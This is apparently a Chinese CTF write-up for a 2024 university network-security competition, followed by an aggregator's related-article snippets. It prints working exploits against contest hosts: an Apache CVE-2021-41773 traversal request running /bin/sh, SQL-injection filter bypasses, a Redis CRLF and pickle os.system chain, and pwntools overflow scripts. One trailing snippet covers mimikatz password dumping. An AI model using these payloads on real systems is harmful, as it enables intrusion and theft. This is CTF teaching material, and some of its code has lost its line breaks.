【2024】高校网络安全管理运维赛

比赛时间:2024-05-06

Re-easyre

基本的base64换表,用CyberChef解密

图片.png

Re-babyre

进入主函数,发现输入四次 看一下就知道是大数求解
(当初写的时候差不多 不知道为什么第四个总是算错…)

from z3 import *s = Solver()  # 设置一个解方程的类Solver(必须要设置)v5=BitVec('v5',32)
v6=BitVec('v6',32)
v7=BitVec('v7',32)
v8=BitVec('v8',32)s.add(v5 + 1380855784 == 907301700)s.add((v6 | 0x8E03BEC3) - 3 * (v6 & 0x71FC413C) + v6 == -1876131848)s.add(v7<=0x10000000)
s.add(4 * ((~v7 & 0xA8453437) + 2 * ~(~v7 | 0xA8453437))+ -3 * (~v7 | 0xA8453437)+ 3 * ~(v7 | 0xA8453437)- (-10 * (v7 & 0xA8453437)+ (v7 ^ 0xA8453437)) == 551387557)s.add(v8<=0x10000000)
s.add(11 * ~(v8 ^ 0xE33B67BD)+ 4 * ~(~v8 | 0xE33B67BD)- (6 * (v8& 0xE33B67BD)+ 12 * ~(v8 | 0xE33B67BD))+ 3 * (v8 & 0xD2C7FC0C)+ -5 * v8- 2 * ~(v8 | 0xD2C7FC0C)+ ~(v8 | 0x2D3803F3)+ 4 * (v8 & 0x2D3803F3)- -2 * (v8 | 0x2D3803F3) == -837785892)print(s.check())#check是保证有解
answer=s.model()#model是输出运算结果
print(answer)data=[3821413212,98124621,78769651,67321987]
print('flag{'+'%08x-'%data[0]+'%08x-'%data[1]+'%08x-'%data[2]+'%08x'%data[3]+'}')#flag{e3c6235c-05d9434d-04b1edf3-04034083}

Misc-签到

一张GIF图,拖到pr里面一帧一帧看,第一帧是:Flag is the ROT13 of …
之后的每一帧合并起来就是: synt{jrypbzr-gb-pbzcrgvgvba} ,然后通过ROT13解密,得到flag:flag{welcome-to-competition}

Misc-easyshell(复现)

冰蝎这个webShell的流量分析,推测是冰蝎3.0,使用默认密码rebeyond的md5加密然后取前16位作为key进行AES解密,或者直接通过 ( https://github.com/melody27/behinder_decrypt ) 进行解密:

python3 py_decrypt.py -f easyshell.pcap | tee result

获得相应的请求和响应的内容。
通过如下两个命令分别提取文件的信息:

cat result | grep {\"msg\":\"
cat result | grep $mode=\"ZG93bmxvYWRQYXJ0\";

之后能够获取到一个压缩包,之后通过创建一个CRC值与获取的压缩包CRC值相同的zip包,然后进行明文攻击,最后获得flag:
flag{70854278-ea0c-462e-bc18-468c7a04a505}

Misc-Gateway(复现)

在附件baseinfoSet.json中有个 “baseinfoSet_TELECOMPASSWORD”: “106&112&101&107&127&101&104&49&57&56&53&56&54&56&49&51&51&105&56&103&106&49&56&50&5 6&103&102&56&52&101&104&102&105&53&101&53&102&129&”,
在网上搜索 baseinfoSet_TELECOMPASSWORD 存在解密脚本,直接解密得到flag:flag{ad1985868133e8cf1828cb84adbe5a5b}

code='106&112&101&107&127&101&104&49&57&56&53&56&54&56&49&51&51&105&56&103&106&49&56&50&56&103&102&56&52&101&104&102&105&53&101&53&102&129&'[:-1]    # "baseinfoSet_TELECOMPASSWORD":"114&73&55&110&69&37&53&113&"
list=map(int,code.split('&'))
result=[]
for i in list:if i > 57:i-=4result.append(chr(i))
print (''.join(result))

Misc-Apache(复现)

在博客里直接搜索 httpd:2.4.49-buster漏洞 可知,有个CVE-2021-41773的路径穿越漏洞,相关连接如下Apache HTTP Server 路径穿越漏洞复现(CVE-2021-41773 )-CSDN博客
所以根据python的源码,构造如下的包:

POST /nc HTTP/2
Host: prob01-8k743yxw.contest.pku.edu.cn
Content-Length: 470
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="port"80
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="data"POST /cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh HTTP/1.1
Host: aaaa
User-Agent: curl/7.68.0
Accept: */*
Content-Length: 45
Content-Type: application/x-www-form-urlencodedecho Content-Type:text/plain; echo; cat /flag;------WebKitFormBoundary7MA4YWxkTrZu0gW--

通过burp发包得到flag:flag{wHaTaaPaCheRcE}

Web-phpsql

题目开始是个登陆框,根据题目,应该是个sql注入,先注册账号,然后登陆注册的账号看看情况,出现一个弹窗,表示只有admin才能拿到一些内容,那么猜测应该是万能密码登陆admin账号。
image.png
当payload 为 1’ or 1=1 # 的时候,回显是hacker,多次尝试之后,发现只过滤了空格,内联注释绕过,构造payload为:1’//Or//1//like//1/**/#成功绕过,在经过两次离谱的弹窗之后,成功拿到flag:flag{KTFoYJlPMrqDW6fBGwGG}

Web-pyssrf(复现)

访问source路由,拿到python源码

from flask import Flask,request
from redis import Redis
import hashlib
import pickle
import base64
import urllib
app = Flask(__name__)
redis = Redis(host='127.0.0.1', port=6379)def get_result(url):url_key=hashlib.md5(url.encode()).hexdigest()res=redis.get(url_key)if res:return pickle.loads(base64.b64decode(res))else:try:print(url)info = urllib.request.urlopen(url)res = info.read()pickres=pickle.dumps(res)b64res=base64.b64encode(pickres)redis.set(url_key,b64res,ex=300)return resexcept urllib.error.URLError as e:print(e)@app.route('/')
def hello():url = request.args.get("url")return '''<h1>give me your url via GET method like: ?url=127.0.0.1:8080<h1><h2>Here is your result</h2><h3>source code in /source</h3>%s''' % get_result('http://'+url).decode(encoding='utf8',errors='ignore')@app.route('/source')
def source():return

看上去是一个pickle反序列化加上ssrf的洞,具体啥原理还不是很懂,先写下参考地址:漏洞是叫CRLF 编号为 CVE 2019-9947,参考资料可以是
Python urllib CRLF注入漏洞小结_urllib crlf漏洞-CSDN博客
首先是构造key值:
** md5(‘http://1’)=22d474190b1889d3373fa4f9334e979c **
** 用脚本构造pickle的反序列数据 ** :

import base64 
a=b'''cos system
(S'command here'
tR.'''
print(base64.b64encode(a))

因为采用的是flask框架,最简单获得回显的方式就是写文件到静态目录

import base64
a=b'''cos
system
(S'mkdir static'
tR.'''
print(base64.b64encode(a))

再将flag的内容重定向到static/1.txt中

import base64
a=b'''cos
system
(S'cat /flag>static/1.txt'
tR.'''
print(base64.b64encode(a))

所以,payload依次为:
写入redis内缓存,创建静态目录static
:::info
/?url=127.0.0.1:6379?%0d%0a%0d%0aSET%2022d474190b1889d3373fa4f9334e979c%20%22Y29zCnN5c3RlbQooUydta2Rp
ciBzdGF0aWMnCnRSLg%3d%3d%22%0d%0apaddins
:::
缓存之后触发反序列化:
:::info
/?url=1
:::
读取flag,并重定向到/static/1.txt内:
:::info
/?url=127.0.0.1:6379?%0d%0a%0d%0aSET%2022d474190b1889d3373fa4f9334e979c%20%22Y29zCnN5c3RlbQooUydjYXQg
L2ZsYWc%2bc3RhdGljLzEudHh0Jwp0Ui4%3d%22%0d%0apaddins
:::
缓存之后触发反序列化:
:::info
/?url=1
:::
之后访问/static/1.txt拿到flag:flag{qtRqiLrtTp6hoN2RPMti}

Pwn-babypwn

(这个题不知为啥,有种莫名奇妙的感觉,本地无论几次都不同,远程就能通)
查看开启的保护:

root@g01den-virtual-machine:/mnt/shared# checksec pwn
[*] '/mnt/shared/pwn'Arch:     amd64-64-littleRELRO:    Partial RELROStack:    No canary foundNX:       NX unknown - GNU_STACK missingPIE:      No PIE (0x400000)Stack:    ExecutableRWX:      Has RWX segments

反编译之后,找到漏洞函数login():

__int64 login()
{int v0; // ebxchar buf[32]; // [rsp+0h] [rbp-50h] BYREFchar s1[40]; // [rsp+20h] [rbp-30h] BYREFprintf("Enter your username: ");read(0, buf, 0x40uLL);printf("Enter the password: ");read(0, s1, 0x40uLL);v0 = strcmp(buf, "root");return v0 | (unsigned int)strcmp(s1, "!@#$%^&*()_+");
}

并且,存在后门函数sub_401176,地址为0x401176,所以,根据gdb调试,得知缓冲区加上ebp的大小为120字节,所以exp如下:

from pwn import *
#io = process("./pwn")
io = remote('prob07.contest.pku.edu.cn',10007)
context.log_level = 'debug'
backdoor = 0x40117a  #不知道为啥,这里如果是0x401176的话,打不通
token = b"502:MEUCIQCSKqRJcp-PqKLApv7lBRVleK1e5RKveCEC5QmjJ0OONQIgRVfKZtoZoiGXf4sDyUDuFG0Uf0DLCPGdYFAkCEYMvw4="
io.sendline(token)
io.recvuntil(b'Enter your username: ')
payload = b'a'*120 + p64(backdoor)
io.sendline(payload)
io.recv()
io.interactive()

最后flag为:flag{kooD1EijiemeePh8ieNei2Xol8ich5DE}

Pwn-Login

没有附件 nc连上多测试几次就会知道password多输几个字符就会输出二进制文件
图片.png多试试 0x28个字符时能接收到正确的文件

from pwn import *
import osio = remote("prob04.contest.pku.edu.cn", 10004)
context.log_level = "debug"io.sendlineafter("token: ", b'502:MEUCIQCSKqRJcp-PqKLApv7lBRVleK1e5RKveCEC5QmjJ0OONQIgRVfKZtoZoiGXf4sDyUDuFG0Uf0DLCPGdYFAkCEYMvw4=')io.sendlineafter('Username', "admin\x00")io.sendlineafter('Password', b'a'*(0x28))io.recvuntil('dumped\n')
key = io.recvall()fp = open('att', 'wb')
fp.write(key)os.system('chmod 777 att')io.interactive()

att.pdf(zip)

__int64 login()
{char s1[48]; // [rsp+0h] [rbp-90h] BYREFchar s[95]; // [rsp+30h] [rbp-60h] BYREFunsigned __int8 v3; // [rsp+8Fh] [rbp-1h]v3 = 0;memset(s, 0, 0x50uLL);memset(s1, 0, 0x28uLL);printf("Username: ");fgets(s, 80, stdin);if ( s[0x14] ){puts("Username too long");return 0LL;}else{printf("Password: ");fgets(s1, 0x320, stdin);if ( !strcmp(s, "admin\n") && !strcmp(s1, "1q2w3e4r\n") ){puts("Login successful, welcome admin");v3 = 1;}else{puts("Login failed");v3 = 0;}if ( s1[0x28] ){puts("Stack smashing detected");overflow_detected = 1;return 0LL;}else{return v3;}}
}

溢出,返回到后门函数
exp:

from pwn import *
import osio = remote("prob04.contest.pku.edu.cn", 10004)
context.log_level = "debug"io.sendlineafter("token: ", b'502:MEUCIQCSKqRJcp-PqKLApv7lBRVleK1e5RKveCEC5QmjJ0OONQIgRVfKZtoZoiGXf4sDyUDuFG0Uf0DLCPGdYFAkCEYMvw4=')payload = b'1q2w3e4r'
payload = payload.ljust(0x98, b'\x00') + p64(0x40127e)
io.sendlineafter('Username', "admin\x00")
io.sendlineafter("Password", payload)io.interactive()# flag{loGiN_SuccESs_cOnGratUlatION}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/bicheng/17403.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

中心渗透Ⅱ

cs与msf权限传递以及mimikatz抓取win2012明文密码 使用Cobalt Strike抓取win2012明文密码&#xff0c;将会话传递到Metasploit Framework上 1.cs生成木马并使目标服务器中马 建立监听生成木马 2.抓取目标主机的明文密码 通过修改注册表来让Wdigest Auth保存明文口令 shell …

深入pandas:数据分析

目录 前言 第一点&#xff1a;导入模块 第二点&#xff1a;准备数据 第三点&#xff1a;简单的分析数据 第四点&#xff1a;【重点】数据透支 总结 前言 在数据分析与挖掘的领域&#xff0c;了解如何使用工具和方法来探索数据是至关重要的。本文将探讨如何利用Python中的…

C语言常用字符串处理函数

C语言中包含了很多对字符串处理的函数,要使用这些函数&#xff0c; 首先需要导入头文件#include <string.h> 1. strlen() -- 计算字符串长度 原型: size_t strlen(char const *string); 例: char *str "abcde"; size_t len strlen(str); // 结果为…

【DevOps】Elasticsearch在Ubuntu 20.04上的安装与配置:详细指南

目录 一、ES 简介 1、核心概念 2、工作原理 3、 优势 二、ES 在 Ubuntu 20.04 上的安装 1、安装 Java 2、下载 ES 安装包 3、创建 ES 用户 4 、解压安装包 5、 配置 ES 6、 启动 ES 7、验证安装 三、ES 常用命令 1、创建索引 2、 插入文档 3、查询文档 四、ES…

利用audacity和ffmpeg制作测试音频文件

最近要用SIPP测试一个场景&#xff0c;需要发送双声道/16K采样率/16bit量化的PCM流&#xff0c;但是下载的素材往往不能满足参数要求。那么就自己制作。 首先下载mp3文件&#xff0c;并用audacity打开。 接下来&#xff0c;点击菜单栏中轨道-重采样&#xff0c;将采样频率设为1…

【Java面试】四、MySQL篇(上)

文章目录 1、定位慢查询2、慢查询的原因分析3、索引3.1 数据结构选用&#xff1a;二叉树 & 红黑树3.2 数据结构选用&#xff1a;B树 4、聚簇索引、非聚簇索引、回表查询4.1 聚簇索引、非聚簇索引4.2 回表查询 5、覆盖索引、超大分页优化5.1 覆盖索引5.2 超大分页处理 6、索…

联发科MT8370平台Genio 510物联网应用程序处理器详细规格参数

MT8370是一款高度集成、功能强大的平台&#xff0c;专为各种人工智能(AI)和物联网(IoT)用例而设计&#xff0c;这些用例需要高性能边缘处理、先进的多媒体和连接功能、多个高分辨率摄像头、连接的触摸屏显示器以及多任务高级操作系统(HLOS)的使用。http://Genio 510 (MT8370) E…

Mybatis源码剖析

文章目录 一、前置1.1概念ORMSqlSession会话 二、快速入门2.1 SpringBoot整合Mybatis2.2 XML配置2.2.1 路径位置2.2.2 名称2.2.3 configuration标签内容环境environments标签映射器mappers标签 2.3 Mapper接口2.3.1 单Mybatis项目2.3.2 SpringBoot整合mybatis2.3.3 m整合mybati…

字符串函数(2)<C语言>

前言 快一周没更博客了&#xff0c;最近有点忙&#xff0c;今天闲下来了&#xff0c;还是不行&#xff0c;继续干&#xff0c;书接上回继续介绍字符串函数&#xff1a;strncpy()、strncat()、strcmp()、strtok()使用、strstr()使用以及模拟实现、strerror()使用。 strncpy()、s…

揭秘网络编程:同步与异步IO模型的实战演练

摘要 ​ 在网络编程领域&#xff0c;同步(Synchronous)、异步(Asynchronous)、阻塞(Blocking)与非阻塞(Non-blocking)IO模型是核心概念。尽管这些概念在多篇文章中被广泛讨论&#xff0c;它们的抽象性使得彻底理解并非易事。本文旨在通过具体的实验案例&#xff0c;将这些抽象…

在React中使用Sass实现Css样式管理-10

0. 什么是Sass Sass(Syntactically Awesome Stylesheets)是一个 CSS 预处理器&#xff0c;是 CSS 扩展语言&#xff0c;可以帮助我们减少 CSS 重复的代码&#xff0c;节省开发时间&#xff1a; Sass 引入合理的样式复用机制&#xff0c;可以节约很多时间来重复。支持变量和函…

C++之“流”-第2课-C++和C标准输入输出同步

为什么C和C的标准输入输出不同步时&#xff0c;数据会混乱&#xff1f;同步会带来多大性能损失&#xff1f;为什么说这个损失通常不用太在乎&#xff1f; 0. 课堂视频 C之“流”-第2课&#xff1a;和C输入输出的同步 1. 理解cin和cout的类型与创建过程 std::cout 是std::ostre…

添加、修改和删除字典元素

自学python如何成为大佬(目录):https://blog.csdn.net/weixin_67859959/article/details/139049996?spm1001.2014.3001.5501 由于字典是可变序列&#xff0c;所以可以随时在字典中添加“键-值对”。向字典中添加元素的语法格式如下&#xff1a; dictionary[key] value 参数…

You don‘t have enough free space或者no space left on device异常

1.磁盘空间不足 Linux安装软件显示 You dont have enough free space 或者docker拉镜像时&#xff0c;出现磁盘空间不足的情况 no space left on device 如果你是ubuntu系统。查看磁盘空间 df -h 多半是这个目录满了/dev/mapper/ubuntu--vg-ubuntu--lv 大多情况我们只希望扩…

学习编程对英语要求高吗?

学习编程并不一定需要高深的英语水平。我这里有一套编程入门教程&#xff0c;不仅包含了详细的视频讲解&#xff0c;项目实战。如果你渴望学习编程&#xff0c;不妨点个关注&#xff0c;给个评论222&#xff0c;私信22&#xff0c;我在后台发给你。 虽然一些编程资源和文档可能…

typora自动生成标题序号(修改V1.0)

目录 带序号效果图 解决方法 带序号效果图 解决方法 1.进入文件夹&#xff1a;文件–>偏好设置–>外观–>主题–>打开主题文件夹 2.如果没有base.user.css文件&#xff0c;新建一个。如果有直接用记事本打开&#xff0c;把下面代码拷贝进去保存。 /** initiali…

【JUC编程】-多线程和CompletableFuture的使用

多线程编程 文章目录 多线程编程[toc]引言创建多线程的方式继承Thread类实现Runnable接口实现Callable接口Callable和Runnable的区别 Lambda表达式 线程的实现原理Future&FutureTask具体使用submit方法Future到FutureTask类Future注意事项局限性 CompletionService引言使用…

第八大奇迹

目录 题目描述 输入描述 输出描述 输入输出样例 示例 输入 输出 运行限制 原题链接 代码思路 题目描述 在一条 R 河流域&#xff0c;繁衍着一个古老的名族 Z。他们世代沿河而居&#xff0c;也在河边发展出了璀璨的文明。 Z 族在 R 河沿岸修建了很多建筑&#xff0c…

Ps 滤镜:消失点

Ps菜单&#xff1a;滤镜/消失点 Filter/Vanishing Point 快捷键&#xff1a;Ctrl Alt V 两条平行的铁轨或两排树木连线相交于很远很远的某一点&#xff0c;这点在透视图中叫做“消失点”&#xff0c;也称为“灭点”。 消失点 Vanishing Point滤镜主要用于在图像中处理具有透视…

C++入门3——类与对象(2)

1.类的6个默认成员函数 如果一个类中什么成员都没有&#xff0c;简称为空类。可是空类中真的什么都没有吗&#xff1f; 其实并不是的&#xff0c;任何类在什么都不写时&#xff0c;编译器会自动生成以下6个默认成员函数。 默认成员函数&#xff1a;用户没有显式实现&#xf…